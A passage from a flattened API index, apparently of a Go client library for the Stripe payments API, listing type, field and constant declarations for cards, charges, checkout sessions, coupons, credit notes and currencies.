[]*AccountRequirementsError + EventuallyDue []string + PastDue []string + PendingVerification []string + type CapabilityStatus string + const CapabilityStatusActive + const CapabilityStatusInactive + const CapabilityStatusPending + const CapabilityStatusUnrequested + type CaptureParams struct + Amount *int64 + ApplicationFeeAmount *int64 + ExchangeRate *float64 + ReceiptEmail *string + StatementDescriptor *string + StatementDescriptorSuffix *string + TransferData *ChargeTransferDataParams + TransferGroup *string + type Card struct + AddressCity string + AddressCountry string + AddressLine1 string + AddressLine1Check CardVerification + AddressLine2 string + AddressState string + AddressZip string + AddressZipCheck CardVerification + AvailablePayoutMethods []CardAvailablePayoutMethod + Brand CardBrand + CVCCheck CardVerification + Country string + Currency Currency + Customer *Customer + DefaultForCurrency bool + Deleted bool + Description string + DynamicLast4 string + ExpMonth uint8 + ExpYear uint16 + Fingerprint string + Funding CardFunding + ID string + IIN string + Issuer string + Last4 string + Metadata map[string]string + Name string + TokenizationMethod CardTokenizationMethod + func (c *Card) UnmarshalJSON(data []byte) error + type CardAvailablePayoutMethod string + const CardAvailablePayoutMethodInstant + const CardAvailablePayoutMethodStandard + type CardBrand string + const CardBrandAmex + const CardBrandDinersClub + const CardBrandDiscover + const CardBrandJCB + const CardBrandMasterCard + const CardBrandUnionPay + const CardBrandUnknown + const CardBrandVisa + type CardError struct + DeclineCode DeclineCode + func (e *CardError) Error() string + type CardFunding string + const CardFundingCredit + const CardFundingDebit + const CardFundingPrepaid + const CardFundingUnknown + type CardList struct + Data []*Card + type CardListParams struct + Account *string + Customer *string + func (p *CardListParams) AppendTo(body *form.Values, keyParts []string) + type CardParams struct + Account *string + AddressCity *string + AddressCountry *string + AddressLine1 *string + AddressLine2 *string + AddressState *string + AddressZip *string + CVC *string + Currency *string + Customer *string + DefaultForCurrency *bool + ExpMonth *string + ExpYear *string + ID string + Name *string + Number *string + Token *string + func (c *CardParams) AppendToAsCardSourceOrExternalAccount(body *form.Values, keyParts []string) + type CardTokenizationMethod string + const TokenizationMethodAndroidPay + const TokenizationMethodApplePay + type CardVerification string + const CardVerificationFail + const CardVerificationPass + const CardVerificationUnavailable + const CardVerificationUnchecked + type Charge struct + Amount int64 + AmountCaptured int64 + AmountRefunded int64 + Application *Application + ApplicationFee *ApplicationFee + ApplicationFeeAmount int64 + AuthorizationCode string + BalanceTransaction *BalanceTransaction + BillingDetails *BillingDetails + CalculatedStatementDescriptor string + Captured bool + Created int64 + Currency Currency + Customer *Customer + Description string + Destination *Account + Dispute *Dispute + Disputed bool + FailureCode string + FailureMessage string + FraudDetails *FraudDetails + ID string + Invoice *Invoice + Level3 ChargeLevel3 + Livemode bool + Metadata map[string]string + OnBehalfOf *Account + Outcome *ChargeOutcome + Paid bool + PaymentIntent *PaymentIntent + PaymentMethod string + PaymentMethodDetails *ChargePaymentMethodDetails + ReceiptEmail string + ReceiptNumber string + ReceiptURL string + Refunded bool + Refunds *RefundList + Review *Review + Shipping *ShippingDetails + Source *PaymentSource + SourceTransfer *Transfer + StatementDescriptor string + StatementDescriptorSuffix string + Status string + Transfer *Transfer + TransferData *ChargeTransferData + TransferGroup string + func (c *Charge) UnmarshalJSON(data []byte) error + type ChargeFraudStripeReport string + const ChargeFraudStripeReportFraudulent + type ChargeFraudUserReport string + const ChargeFraudUserReportFraudulent + const ChargeFraudUserReportSafe + type ChargeLevel3 struct + CustomerReference string + LineItems []*ChargeLevel3LineItem + MerchantReference string + ShippingAddressZip string + ShippingAmount int64 + ShippingFromZip string + type ChargeLevel3LineItem struct + DiscountAmount int64 + ProductCode string + ProductDescription string + Quantity int64 + TaxAmount int64 + UnitCost int64 + type ChargeLevel3LineItemsParams struct + DiscountAmount *int64 + ProductCode *string + ProductDescription *string + Quantity *int64 + TaxAmount *int64 + UnitCost *int64 + type ChargeLevel3Params struct + CustomerReference *string + LineItems []*ChargeLevel3LineItemsParams + MerchantReference *string + ShippingAddressZip *string + ShippingAmount *int64 + ShippingFromZip *string + type ChargeList struct + Data []*Charge + type ChargeListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Customer *string + PaymentIntent *string + TransferGroup *string + type ChargeOutcome struct + NetworkStatus string + Reason string + RiskLevel string + RiskScore int64 + Rule *ChargeOutcomeRule + SellerMessage string + Type string + type ChargeOutcomeRule struct + Action string + ID string + Predicate string + func (c *ChargeOutcomeRule) UnmarshalJSON(data []byte) error + type ChargeParams struct + Amount *int64 + ApplicationFeeAmount *int64 + Capture *bool + Currency *string + Customer *string + Description *string + Destination *DestinationParams + ExchangeRate *float64 + FraudDetails *FraudDetailsParams + Level3 *ChargeLevel3Params + OnBehalfOf *string + ReceiptEmail *string + Shipping *ShippingDetailsParams + Source *SourceParams + StatementDescriptor *string + StatementDescriptorSuffix *string + TransferData *ChargeTransferDataParams + TransferGroup *string + func (p *ChargeParams) SetSource(sp interface{}) error + type ChargePaymentMethodDetails struct + AUBECSDebit *ChargePaymentMethodDetailsAUBECSDebit + AchCreditTransfer *ChargePaymentMethodDetailsAchCreditTransfer + AchDebit *ChargePaymentMethodDetailsAchDebit + AcssDebit *ChargePaymentMethodDetailsAcssDebit + AfterpayClearpay *ChargePaymentMethodDetailsAfterpayClearpay + Alipay *ChargePaymentMethodDetailsAlipay + BACSDebit *ChargePaymentMethodDetailsBACSDebit + Bancontact *ChargePaymentMethodDetailsBancontact + Boleto *ChargePaymentMethodDetailsBoleto + Card *ChargePaymentMethodDetailsCard + CardPresent *ChargePaymentMethodDetailsCardPresent + Eps *ChargePaymentMethodDetailsEps + FPX *ChargePaymentMethodDetailsFPX + Giropay *ChargePaymentMethodDetailsGiropay + Grabpay *ChargePaymentMethodDetailsGrabpay + Ideal *ChargePaymentMethodDetailsIdeal + Klarna *ChargePaymentMethodDetailsKlarna + Multibanco *ChargePaymentMethodDetailsMultibanco + OXXO *ChargePaymentMethodDetailsOXXO + P24 *ChargePaymentMethodDetailsP24 + SepaDebit *ChargePaymentMethodDetailsSepaDebit + Sofort *ChargePaymentMethodDetailsSofort + StripeAccount *ChargePaymentMethodDetailsStripeAccount + Type ChargePaymentMethodDetailsType + Wechat *ChargePaymentMethodDetailsWechat + WechatPay *ChargePaymentMethodDetailsWechatPay + type ChargePaymentMethodDetailsAUBECSDebit struct + BSBNumber string + Fingerprint string + Last4 string + Mandate string + type ChargePaymentMethodDetailsAchCreditTransfer struct + AccountNumber string + BankName string + RoutingNumber string + SwiftCode string + type ChargePaymentMethodDetailsAchDebit struct + AccountHolderType BankAccountAccountHolderType + BankName string + Country string + Fingerprint string + Last4 string + RoutingNumber string + type ChargePaymentMethodDetailsAcssDebit struct + BankName string + Fingerprint string + InstitutionNumber string + Last4 string + Mandate string + TransitNumber string + type ChargePaymentMethodDetailsAfterpayClearpay struct + Reference string + type ChargePaymentMethodDetailsAlipay struct + Fingerprint string + TransactionID string + type ChargePaymentMethodDetailsBACSDebit struct + Fingerprint string + Last4 string + Mandate string + SortCode string + type ChargePaymentMethodDetailsBancontact struct + BankCode string + BankName string + Bic string + GeneratedSepaDebit *PaymentMethod + GeneratedSepaDebitMandate *Mandate + IbanLast4 string + PreferredLanguage string + VerifiedName string + type ChargePaymentMethodDetailsBoleto struct + TaxID string + type ChargePaymentMethodDetailsCard struct + Brand PaymentMethodCardBrand + Checks *ChargePaymentMethodDetailsCardChecks + Country string + Description string + ExpMonth uint64 + ExpYear uint64 + Fingerprint string + Funding CardFunding + IIN string + Installments *ChargePaymentMethodDetailsCardInstallments + Issuer string + Last4 string + MOTO bool + Network PaymentMethodCardNetwork + ThreeDSecure *ChargePaymentMethodDetailsCardThreeDSecure + Wallet *ChargePaymentMethodDetailsCardWallet + type ChargePaymentMethodDetailsCardChecks struct + AddressLine1Check CardVerification + AddressPostalCodeCheck CardVerification + CVCCheck CardVerification + type ChargePaymentMethodDetailsCardInstallments struct + Plan *PaymentIntentPaymentMethodOptionsCardInstallmentsPlan + type ChargePaymentMethodDetailsCardPresent struct + Brand PaymentMethodCardBrand + CardholderName string + Country string + Description string + EmvAuthData string + ExpMonth uint64 + ExpYear uint64 + Fingerprint string + Funding CardFunding + GeneratedCard string + IIN string + Issuer string + Last4 string + Network PaymentMethodCardNetwork + ReadMethod string + Receipt *ChargePaymentMethodDetailsCardPresentReceipt + type ChargePaymentMethodDetailsCardPresentReceipt struct + AccountType ChargePaymentMethodDetailsCardPresentReceiptAccountType + ApplicationCryptogram string + ApplicationPreferredName string + AuthorizationCode string + AuthorizationResponseCode string + CardholderVerificationMethod string + DedicatedFileName string + TerminalVerificationResults string + TransactionStatusInformation string + type ChargePaymentMethodDetailsCardPresentReceiptAccountType string + const ChargePaymentMethodDetailsCardPresentReceiptAccountTypeChecking + const ChargePaymentMethodDetailsCardPresentReceiptAccountTypeCredit + const ChargePaymentMethodDetailsCardPresentReceiptAccountTypePrepaid + const ChargePaymentMethodDetailsCardPresentReceiptAccountTypeUnknown + type ChargePaymentMethodDetailsCardThreeDSecure struct + AuthenticationFlow ChargePaymentMethodDetailsCardThreeDSecureAuthenticationFlow + Result ChargePaymentMethodDetailsCardThreeDSecureResult + ResultReason ChargePaymentMethodDetailsCardThreeDSecureResultReason + Version string + type ChargePaymentMethodDetailsCardThreeDSecureAuthenticationFlow string + const ChargePaymentMethodDetailsCardThreeDSecureAuthenticationFlowChallenge + const ChargePaymentMethodDetailsCardThreeDSecureAuthenticationFlowFrictionless + type ChargePaymentMethodDetailsCardThreeDSecureResult string + const ChargePaymentMethodDetailsCardThreeDSecureResultAttemptAcknowledged + const ChargePaymentMethodDetailsCardThreeDSecureResultAuthenticated + const ChargePaymentMethodDetailsCardThreeDSecureResultFailed + const ChargePaymentMethodDetailsCardThreeDSecureResultNotSupported + const ChargePaymentMethodDetailsCardThreeDSecureResultProcessingError + type ChargePaymentMethodDetailsCardThreeDSecureResultReason string + const ChargePaymentMethodDetailsCardThreeDSecureResultReasonAbandoned + const ChargePaymentMethodDetailsCardThreeDSecureResultReasonBypassed + const ChargePaymentMethodDetailsCardThreeDSecureResultReasonCanceled + const ChargePaymentMethodDetailsCardThreeDSecureResultReasonCardNotEnrolled + const ChargePaymentMethodDetailsCardThreeDSecureResultReasonNetworkNotSupported + const ChargePaymentMethodDetailsCardThreeDSecureResultReasonProtocolError + const ChargePaymentMethodDetailsCardThreeDSecureResultReasonRejected + type ChargePaymentMethodDetailsCardWallet struct + AmexExpressCheckout *ChargePaymentMethodDetailsCardWalletAmexExpressCheckout + ApplePay *ChargePaymentMethodDetailsCardWalletApplePay + DynamicLast4 string + GooglePay *ChargePaymentMethodDetailsCardWalletGooglePay + Masterpass *ChargePaymentMethodDetailsCardWalletMasterpass + SamsungPay *ChargePaymentMethodDetailsCardWalletSamsungPay + Type PaymentMethodCardWalletType + VisaCheckout *ChargePaymentMethodDetailsCardWalletVisaCheckout + type ChargePaymentMethodDetailsCardWalletAmexExpressCheckout struct + type ChargePaymentMethodDetailsCardWalletApplePay struct + type ChargePaymentMethodDetailsCardWalletGooglePay struct + type ChargePaymentMethodDetailsCardWalletMasterpass struct + BillingAddress *Address + Email string + Name string + ShippingAddress *Address + type ChargePaymentMethodDetailsCardWalletSamsungPay struct + type ChargePaymentMethodDetailsCardWalletVisaCheckout struct + BillingAddress *Address + Email string + Name string + ShippingAddress *Address + type ChargePaymentMethodDetailsEps struct + Bank string + VerifiedName string + type ChargePaymentMethodDetailsFPX struct + AccountHolderType PaymentMethodFPXAccountHolderType + Bank string + TransactionID string + type ChargePaymentMethodDetailsGiropay struct + BankCode string + BankName string + Bic string + VerifiedName string + type ChargePaymentMethodDetailsGrabpay struct + TransactionID string + type ChargePaymentMethodDetailsIdeal struct + Bank string + Bic string + GeneratedSepaDebit *PaymentMethod + GeneratedSepaDebitMandate *Mandate + IbanLast4 string + VerifiedName string + type ChargePaymentMethodDetailsInteracPresent struct + Brand string + CardholderName string + Country string + Description string + EmvAuthData string + ExpMonth int64 + ExpYear int64 + Fingerprint string + Funding string + GeneratedCard string + IIN string + Issuer string + Last4 string + Network string + PreferredLocales []string + ReadMethod string + Receipt *ChargePaymentMethodDetailsInteracPresentReceipt + type ChargePaymentMethodDetailsInteracPresentReceipt struct + AccountType string + ApplicationCryptogram string + ApplicationPreferredName string + AuthorizationCode string + AuthorizationResponseCode string + CardholderVerificationMethod string + DedicatedFileName string + TerminalVerificationResults string + TransactionStatusInformation string + type ChargePaymentMethodDetailsKlarna struct + type ChargePaymentMethodDetailsMultibanco struct + Entity string + Reference string + type ChargePaymentMethodDetailsOXXO struct + Number string + type ChargePaymentMethodDetailsP24 struct + Bank string + Reference string + VerifiedName string + type ChargePaymentMethodDetailsSepaDebit struct + BankCode string + BranchCode string + Country string + Fingerprint string + Last4 string + Mandate *Mandate + type ChargePaymentMethodDetailsSofort struct + BankCode string + BankName string + Bic string + Country string + GeneratedSepaDebit *PaymentMethod + GeneratedSepaDebitMandate *Mandate + IbanLast4 string + VerifiedName string + type ChargePaymentMethodDetailsStripeAccount struct + type ChargePaymentMethodDetailsType string + const ChargePaymentMethodDetailsTypeAUBECSDebit + const ChargePaymentMethodDetailsTypeAchCreditTransfer + const ChargePaymentMethodDetailsTypeAchDebit + const ChargePaymentMethodDetailsTypeAcssDebit + const ChargePaymentMethodDetailsTypeAlipay + const ChargePaymentMethodDetailsTypeBACSDebit + const ChargePaymentMethodDetailsTypeBancontact + const ChargePaymentMethodDetailsTypeCard + const ChargePaymentMethodDetailsTypeCardPresent + const ChargePaymentMethodDetailsTypeEps + const ChargePaymentMethodDetailsTypeFPX + const ChargePaymentMethodDetailsTypeGiropay + const ChargePaymentMethodDetailsTypeGrabpay + const ChargePaymentMethodDetailsTypeIdeal + const ChargePaymentMethodDetailsTypeInteracPresent + const ChargePaymentMethodDetailsTypeKlarna + const ChargePaymentMethodDetailsTypeMultibanco + const ChargePaymentMethodDetailsTypeP24 + const ChargePaymentMethodDetailsTypeSepaDebit + const ChargePaymentMethodDetailsTypeSofort + const ChargePaymentMethodDetailsTypeStripeAccount + const ChargePaymentMethodDetailsTypeWechat + type ChargePaymentMethodDetailsWechat struct + type ChargePaymentMethodDetailsWechatPay struct + Fingerprint string + TransactionID string + type ChargeTransferData struct + Amount int64 + Destination *Account + type ChargeTransferDataParams struct + Amount *int64 + Destination *string + type CheckoutSession struct + AllowPromotionCodes bool + AmountSubtotal int64 + AmountTotal int64 + AutomaticTax *CheckoutSessionAutomaticTax + CancelURL string + ClientReferenceID string + Currency Currency + Customer *Customer + CustomerDetails *CheckoutSessionCustomerDetails + CustomerEmail string + Deleted bool + ID string + LineItems *LineItemList + Livemode bool + Locale string + Metadata map[string]string + Mode CheckoutSessionMode + Object string + PaymentIntent *PaymentIntent + PaymentMethodOptions *CheckoutSessionPaymentMethodOptions + PaymentMethodTypes []string + PaymentStatus CheckoutSessionPaymentStatus + SetupIntent *SetupIntent + Shipping *ShippingDetails + ShippingAddressCollection *CheckoutSessionShippingAddressCollection + SubmitType CheckoutSessionSubmitType + Subscription *Subscription + SuccessURL string + TaxIDCollection *CheckoutSessionTaxIDCollection + TotalDetails *CheckoutSessionTotalDetails + URL string + func (p *CheckoutSession) UnmarshalJSON(data []byte) error + type CheckoutSessionAutomaticTax struct + Enabled bool + Status CheckoutSessionAutomaticTaxStatus + type CheckoutSessionAutomaticTaxParams struct + Enabled *bool + type CheckoutSessionAutomaticTaxStatus string + const CheckoutSessionAutomaticTaxStatusComplete + const CheckoutSessionAutomaticTaxStatusFailed + const CheckoutSessionAutomaticTaxStatusRequiresLocationInputs + type CheckoutSessionCustomerDetails struct + Email string + TaxExempt CheckoutSessionCustomerDetailsTaxExempt + TaxIDs []*CheckoutSessionCustomerDetailsTaxIDs + type CheckoutSessionCustomerDetailsTaxExempt string + const CheckoutSessionCustomerDetailsTaxExemptExempt + const CheckoutSessionCustomerDetailsTaxExemptNone + const CheckoutSessionCustomerDetailsTaxExemptReverse + type CheckoutSessionCustomerDetailsTaxIDs struct + Type CheckoutSessionCustomerDetailsTaxIDsType + Value string + type CheckoutSessionCustomerDetailsTaxIDsType string + const CheckoutSessionCustomerDetailsTaxIDsTypeAETRN + const CheckoutSessionCustomerDetailsTaxIDsTypeAUABN + const CheckoutSessionCustomerDetailsTaxIDsTypeBRCNPJ + const CheckoutSessionCustomerDetailsTaxIDsTypeBRCPF + const CheckoutSessionCustomerDetailsTaxIDsTypeCABN + const CheckoutSessionCustomerDetailsTaxIDsTypeCAGSTHST + const CheckoutSessionCustomerDetailsTaxIDsTypeCAPSTBC + const CheckoutSessionCustomerDetailsTaxIDsTypeCAPSTMB + const CheckoutSessionCustomerDetailsTaxIDsTypeCAPSTSK + const CheckoutSessionCustomerDetailsTaxIDsTypeCAQST + const CheckoutSessionCustomerDetailsTaxIDsTypeCHVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeCLTIN + const CheckoutSessionCustomerDetailsTaxIDsTypeESCIF + const CheckoutSessionCustomerDetailsTaxIDsTypeEUVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeGBVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeHKBR + const CheckoutSessionCustomerDetailsTaxIDsTypeIDNPWP + const CheckoutSessionCustomerDetailsTaxIDsTypeILVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeINGST + const CheckoutSessionCustomerDetailsTaxIDsTypeJPCN + const CheckoutSessionCustomerDetailsTaxIDsTypeJPRN + const CheckoutSessionCustomerDetailsTaxIDsTypeKRBRN + const CheckoutSessionCustomerDetailsTaxIDsTypeLIUID + const CheckoutSessionCustomerDetailsTaxIDsTypeMXRFC + const CheckoutSessionCustomerDetailsTaxIDsTypeMYFRP + const CheckoutSessionCustomerDetailsTaxIDsTypeMYITN + const CheckoutSessionCustomerDetailsTaxIDsTypeMYSST + const CheckoutSessionCustomerDetailsTaxIDsTypeNOVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeNZGST + const CheckoutSessionCustomerDetailsTaxIDsTypeRUINN + const CheckoutSessionCustomerDetailsTaxIDsTypeRUKPP + const CheckoutSessionCustomerDetailsTaxIDsTypeSAVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeSGGST + const CheckoutSessionCustomerDetailsTaxIDsTypeSGUEN + const CheckoutSessionCustomerDetailsTaxIDsTypeTHVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeTWVAT + const CheckoutSessionCustomerDetailsTaxIDsTypeUSEIN + const CheckoutSessionCustomerDetailsTaxIDsTypeUnknown + const CheckoutSessionCustomerDetailsTaxIDsTypeZAVAT + type CheckoutSessionCustomerUpdateParams struct + Address *string + Name *string + Shipping *string + type CheckoutSessionDiscountParams struct + Coupon *string + PromotionCode *string + type CheckoutSessionLineItemAdjustableQuantityParams struct + Enabled *bool + Maximum *int64 + Minimum *int64 + type CheckoutSessionLineItemParams struct + AdjustableQuantity *CheckoutSessionLineItemAdjustableQuantityParams + Amount *int64 + Currency *string + Description *string + DynamicTaxRates []*string + Images []*string + Name *string + Price *string + PriceData *CheckoutSessionLineItemPriceDataParams + Quantity *int64 + TaxRates []*string + type CheckoutSessionLineItemPriceDataParams struct + Currency *string + Product *string + ProductData *CheckoutSessionLineItemPriceDataProductDataParams + Recurring *CheckoutSessionLineItemPriceDataRecurringParams + TaxBehavior *string + UnitAmount *int64 + UnitAmountDecimal *float64 + type CheckoutSessionLineItemPriceDataProductDataParams struct + Description *string + Images []*string + Metadata map[string]string + Name *string + TaxCode *string + type CheckoutSessionLineItemPriceDataRecurringParams struct + AggregateUsage *string + Interval *string + IntervalCount *int64 + TrialPeriodDays *int64 + UsageType *string + type CheckoutSessionList struct + Data []*CheckoutSession + type CheckoutSessionListLineItemsParams struct + Session *string + type CheckoutSessionListParams struct + PaymentIntent *string + Subscription *string + type CheckoutSessionMode string + const CheckoutSessionModePayment + const CheckoutSessionModeSetup + const CheckoutSessionModeSubscription + type CheckoutSessionParams struct + AllowPromotionCodes *bool + AutomaticTax *CheckoutSessionAutomaticTaxParams + BillingAddressCollection *string + CancelURL *string + ClientReferenceID *string + Customer *string + CustomerEmail *string + CustomerUpdate *CheckoutSessionCustomerUpdateParams + Discounts []*CheckoutSessionDiscountParams + LineItems []*CheckoutSessionLineItemParams + Locale *string + Mode *string + PaymentIntentData *CheckoutSessionPaymentIntentDataParams + PaymentMethodOptions *CheckoutSessionPaymentMethodOptionsParams + PaymentMethodTypes []*string + SetupIntentData *CheckoutSessionSetupIntentDataParams + ShippingAddressCollection *CheckoutSessionShippingAddressCollectionParams + ShippingRates []*string + SubmitType *string + SubscriptionData *CheckoutSessionSubscriptionDataParams + SuccessURL *string + TaxIDCollection *CheckoutSessionTaxIDCollectionParams + type CheckoutSessionPaymentIntentDataParams struct + ApplicationFeeAmount *int64 + CaptureMethod *string + Description *string + Metadata map[string]string + OnBehalfOf *string + ReceiptEmail *string + SetupFutureUsage *string + Shipping *ShippingDetailsParams + StatementDescriptor *string + StatementDescriptorSuffix *string + TransferData *CheckoutSessionPaymentIntentDataTransferDataParams + TransferGroup *string + type CheckoutSessionPaymentIntentDataTransferDataParams struct + Amount *int64 + Destination *string + type CheckoutSessionPaymentMethodOptions struct + ACSSDebit *CheckoutSessionPaymentMethodOptionsACSSDebit + Boleto *CheckoutSessionPaymentMethodOptionsBoleto + OXXO *CheckoutSessionPaymentMethodOptionsOXXO + type CheckoutSessionPaymentMethodOptionsACSSDebit struct + Currency string + MandateOptions *CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptions + VerificationMethod CheckoutSessionPaymentMethodOptionsACSSDebitVerificationMethod + type CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptions struct + CustomMandateURL string + IntervalDescription string + PaymentSchedule CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsPaymentSchedule + TransactionType CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsTransactionType + type CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsParams struct + CustomMandateURL *string + IntervalDescription *string + PaymentSchedule *string + TransactionType *string + type CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsPaymentSchedule string + const CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleCombined + const CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleInterval + const CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleSporadic + type CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsTransactionType string + const CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsTransactionTypeBusiness + const CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsTransactionTypePersonal + type CheckoutSessionPaymentMethodOptionsACSSDebitParams struct + Currency *string + MandateOptions *CheckoutSessionPaymentMethodOptionsACSSDebitMandateOptionsParams + VerificationMethod *string + type CheckoutSessionPaymentMethodOptionsACSSDebitVerificationMethod string + const CheckoutSessionPaymentMethodOptionsACSSDebitVerificationMethodAutomatic + const CheckoutSessionPaymentMethodOptionsACSSDebitVerificationMethodInstant + const CheckoutSessionPaymentMethodOptionsACSSDebitVerificationMethodMicrodeposits + type CheckoutSessionPaymentMethodOptionsBoleto struct + ExpiresAfterDays int64 + type CheckoutSessionPaymentMethodOptionsBoletoParams struct + ExpiresAfterDays *int64 + type CheckoutSessionPaymentMethodOptionsOXXO struct + ExpiresAfterDays int64 + type CheckoutSessionPaymentMethodOptionsOXXOParams struct + ExpiresAfterDays *int64 + type CheckoutSessionPaymentMethodOptionsParams struct + ACSSDebit *CheckoutSessionPaymentMethodOptionsACSSDebitParams + Boleto *CheckoutSessionPaymentMethodOptionsBoletoParams + OXXO *CheckoutSessionPaymentMethodOptionsOXXOParams + WechatPay *CheckoutSessionPaymentMethodOptionsWechatPayParams + type CheckoutSessionPaymentMethodOptionsWechatPayParams struct + AppID *string + Client *string + type CheckoutSessionPaymentStatus string + const CheckoutSessionPaymentStatusNoPaymentRequired + const CheckoutSessionPaymentStatusPaid + const CheckoutSessionPaymentStatusUnpaid + type CheckoutSessionSetupIntentDataParams struct + Description *string + OnBehalfOf *string + type CheckoutSessionShippingAddressCollection struct + AllowedCountries []string + type CheckoutSessionShippingAddressCollectionParams struct + AllowedCountries []*string + type CheckoutSessionSubmitType string + const CheckoutSessionSubmitTypeAuto + const CheckoutSessionSubmitTypeBook + const CheckoutSessionSubmitTypeDonate + const CheckoutSessionSubmitTypePay + type CheckoutSessionSubscriptionDataItemsParams struct + Plan *string + Quantity *int64 + TaxRates []*string + type CheckoutSessionSubscriptionDataParams struct + ApplicationFeePercent *float64 + Coupon *string + DefaultTaxRates []*string + Items []*CheckoutSessionSubscriptionDataItemsParams + Metadata map[string]string + TransferData *CheckoutSessionSubscriptionDataTransferDataParams + TrialEnd *int64 + TrialFromPlan *bool + TrialPeriodDays *int64 + type CheckoutSessionSubscriptionDataTransferDataParams struct + AmountPercent *float64 + Destination *string + type CheckoutSessionTaxIDCollection struct + Enabled bool + type CheckoutSessionTaxIDCollectionParams struct + Enabled *bool + type CheckoutSessionTotalDetails struct + AmountDiscount int64 + AmountShipping int64 + AmountTax int64 + Breakdown *CheckoutSessionTotalDetailsBreakdown + type CheckoutSessionTotalDetailsBreakdown struct + Discounts []*CheckoutSessionTotalDetailsBreakdownDiscount + Taxes []*CheckoutSessionTotalDetailsBreakdownTax + type CheckoutSessionTotalDetailsBreakdownDiscount struct + Amount int64 + Discount *Discount + type CheckoutSessionTotalDetailsBreakdownTax struct + Amount int64 + TaxRate *TaxRate + type CodeVerificationFlow struct + AttemptsRemaining int64 + Status SourceCodeVerificationFlowStatus + type Country string + type CountrySpec struct + DefaultCurrency Currency + ID string + Object string + SupportedBankAccountCurrencies map[Currency][]Country + SupportedPaymentCurrencies []Currency + SupportedPaymentMethods []string + SupportedTransferCountries []string + VerificationFields map[AccountBusinessType]*VerificationFieldsList + type CountrySpecList struct + Data []*CountrySpec + type CountrySpecListParams struct + type CountrySpecParams struct + type Coupon struct + AmountOff int64 + AppliesTo *CouponAppliesTo + Created int64 + Currency Currency + Deleted bool + Duration CouponDuration + DurationInMonths int64 + ID string + Livemode bool + MaxRedemptions int64 + Metadata map[string]string + Name string + Object string + PercentOff float64 + RedeemBy int64 + TimesRedeemed int64 + Valid bool + func (c *Coupon) UnmarshalJSON(data []byte) error + type CouponAppliesTo struct + Products []string + type CouponAppliesToParams struct + Products []*string + type CouponDuration string + const CouponDurationForever + const CouponDurationOnce + const CouponDurationRepeating + type CouponList struct + Data []*Coupon + type CouponListParams struct + Created *int64 + CreatedRange *RangeQueryParams + type CouponParams struct + AmountOff *int64 + AppliesTo *CouponAppliesToParams + Currency *string + Duration *string + DurationInMonths *int64 + ID *string + MaxRedemptions *int64 + Name *string + PercentOff *float64 + RedeemBy *int64 + type CreditNote struct + Amount int64 + Created int64 + Currency Currency + Customer *Customer + CustomerBalanceTransaction *CustomerBalanceTransaction + DiscountAmount int64 + DiscountAmounts []*CreditNoteDiscountAmount + ID string + Invoice *Invoice + Lines *CreditNoteLineItemList + Livemode bool + Memo string + Metadata map[string]string + Number string + Object string + OutOfBandAmount int64 + PDF string + Reason CreditNoteReason + Refund *Refund + Status CreditNoteStatus + Subtotal int64 + TaxAmounts []*CreditNoteTaxAmount + Total int64 + Type CreditNoteType + VoidedAt int64 + func (i *CreditNote) UnmarshalJSON(data []byte) error + type CreditNoteDiscountAmount struct + Amount int64 + Discount *Discount + type CreditNoteLineItem struct + Amount int64 + Description string + DiscountAmount int64 + DiscountAmounts []*CreditNoteLineItemDiscountAmount + ID string + InvoiceLineItem string + Livemode bool + Object string + Quantity int64 + TaxAmounts []*CreditNoteTaxAmount + TaxRates []*TaxRate + Type CreditNoteLineItemType + UnitAmount int64 + UnitAmountDecimal float64 + type CreditNoteLineItemDiscountAmount struct + Amount int64 + Discount *Discount + type CreditNoteLineItemList struct + Data []*CreditNoteLineItem + type CreditNoteLineItemListParams struct + ID *string + type CreditNoteLineItemListPreviewParams struct + Amount *int64 + CreditAmount *int64 + Invoice *string + Lines []*CreditNoteLineParams + Memo *string + OutOfBandAmount *int64 + Reason *string + Refund *string + RefundAmount *int64 + type CreditNoteLineItemType string + const CreditNoteLineItemTypeCustomLineItem + const CreditNoteLineItemTypeInvoiceLineItem + type CreditNoteLineParams struct + Amount *int64 + Description *string + InvoiceLineItem *string + Quantity *int64 + TaxRates []*string + Type *string + UnitAmount *int64 + UnitAmountDecimal *float64 + type CreditNoteList struct + Data []*CreditNote + type CreditNoteListParams struct + Customer *string + Invoice *string + type CreditNoteParams struct + Amount *int64 + CreditAmount *int64 + Invoice *string + Lines []*CreditNoteLineParams + Memo *string + OutOfBandAmount *int64 + Reason *string + Refund *string + RefundAmount *int64 + type CreditNotePreviewParams struct + Amount *int64 + CreditAmount *int64 + Invoice *string + Lines []*CreditNoteLineParams + Memo *string + OutOfBandAmount *int64 + Reason *string + Refund *string + RefundAmount *int64 + type CreditNoteReason string + const CreditNoteReasonDuplicate + const CreditNoteReasonFraudulent + const CreditNoteReasonOrderChange + const CreditNoteReasonProductUnsatisfactory + type CreditNoteStatus string + const CreditNoteStatusIssued + const CreditNoteStatusVoid + type CreditNoteTaxAmount struct + Amount int64 + Inclusive bool + TaxRate *TaxRate + type CreditNoteType string + const CreditNoteTypePostPayment + const CreditNoteTypePrePayment + type CreditNoteVoidParams struct + type Currency string + const CurrencyAED + const CurrencyAFN + const CurrencyALL + const CurrencyAMD + const CurrencyANG + const CurrencyAOA + const CurrencyARS + const CurrencyAUD + const CurrencyAWG + const CurrencyAZN + const CurrencyBAM + const CurrencyBBD + const CurrencyBDT + const CurrencyBGN + const CurrencyBIF + const CurrencyBMD + const CurrencyBND + const CurrencyBOB + const CurrencyBRL + const CurrencyBSD + const CurrencyBWP + const CurrencyBZD + const CurrencyCAD + const 